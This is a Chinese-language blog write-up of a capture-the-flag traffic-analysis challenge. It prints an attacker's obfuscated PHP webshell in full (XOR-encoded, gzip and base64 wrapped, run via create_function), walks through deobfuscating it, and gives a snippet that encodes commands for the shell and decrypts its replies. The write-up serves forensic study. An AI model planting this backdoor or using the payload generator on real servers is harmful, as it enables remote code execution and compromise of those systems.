##TL;DR
距離上次原創文章好久了,持續原創更新太難了QAQ, 總是會被各種事情耽擱,其中也有自己的懶惰夾雜其中(即使是轉載,大都也是自己篩選過的一些乾貨文章)今天做題遇到個還不錯的流量分析題目,利用一點兒閒暇時間更新記錄一下。
## 正題
題目是一個wireshark數據包分析題目,前面是sql注入流量(非本文重點),重點是攻擊者上傳了一個如下的惡意php文件
代碼如下:
<?php$B='input"),$m)=f:=f:1) {@ob_starf:t(f:);@evaf:l(@f:gzuncomf:prf:ess(@x(@basef:64_decodef:($m[f:1]),$k))f:);$o=f:@of:f:b_g';$o=str_replace('b','','crbeabbtbebb_function');$J='et_contentf:s();@ob_enf:d_cleanf:f:();$r=@bf:asef:64_f:encode(@x(@gzf:comprf:essf:($o)f:,$k));pf:rint("$p$f:kh$r$kf");}';$k='o.f:=$t{f:$i}^$k{$j}f:;}}rf:eturnf: $o;f:}iff: f:(@preg_match("/$kh(f:.+)$kff:/",@f:ff:ilf:ef:_get_contents("php:/f:f:/';$p='){$f:c=sf:trf:len($k)f:;f:f:f:$l=strlenf:($t);$o="f:";forf:($i=0;$if:<$l;){for($j=0;($j<$c&f:&$i<$lf:)f:;$j++,$i+f:+){$';$r='$k="25edf:1bcb";f:$kh="4f:23bf:0b7200ff:4";$f:kf="8f:5fc5ff71c8f:e";$f:p="nf:iGqOXD4rBhf:BWZ7t";f:funf:ctf:ion x($t,$k';$C=str_replace('f:','',$r.$p.$k.$B.$J);$I=$o('',$C);$I();?>明顯是一段混淆的代碼,而後呢攻擊者利用這個後門執行了一些命令,而這些命令和返回的結果是加密的,所以現在需要分析這段混淆的php代碼進行解密。
首先,對代碼中的幾個變量var_dump輸出看一下
如上圖所示得知$o為creat_function,12行為匿名函數調用$C中的代碼,$C的代碼格式化一下得到如下:
發現是通過php://input傳入數據,然後需要滿足正則且匹配次數為1才往下執行。另外這裡還需要知道這幾個函數
ob_start()-打開輸出控制緩衝
ob_get_contents()-返回輸出緩衝區的內容
ob_end_clean()-清空緩衝區並關閉輸出緩衝
gzcompress()和gzuncompress()分別用於壓縮和解壓縮字符串
base64_encode()和base64_decode()分別用於base64編碼和解密字符串
還有這個自定義的x函數,其實是一個異或加密函數。
至此代碼應該讀的差不多了,那如果想要執行如phpinfo()函數,那麼需要傳入的參數是什麼呢?很簡單,通過下面的代碼即可
$evalstr = "phpinfo();";$out = base64_encode(@x(@gzcompress($evalstr),$k));echo $out;echo $p.$kh.$out.$kf;另外,回到題目如果想要查看payload以及payload執行後的結果內容還需要進行解密,那該如何解密呢?
payload解密很簡單,如下
payload執行之後的結果該如何解密呢?其實也很簡單,主要在於x函數的逆向,因為異或加密的解密函數還是這個函數本身所以這個過程就簡單了,解密輸出如下所示:
其中變量$o為返回的數據中截取 niGqOXD4rBhBWZ7t423b0b7200f4和85fc5ff71c8e 中間的數據。
## 小結
看似流量分析題目實則考察的是php混淆代碼分析,除此之外這個數據包分析題目還涉及到sql注入知識點,攻擊的大致流程是 基於union聯合查詢的sql注入->獲取管理員密碼->文件上傳->getshell代碼執行—>執行命令等,還是蠻綜合的一道題目,大家可以去pwnme.vip 的Incident Response下的wireshark5進行下載和練習。
## 參考文章
https://joshuanatan.medium.com/hack-bfc7c6528463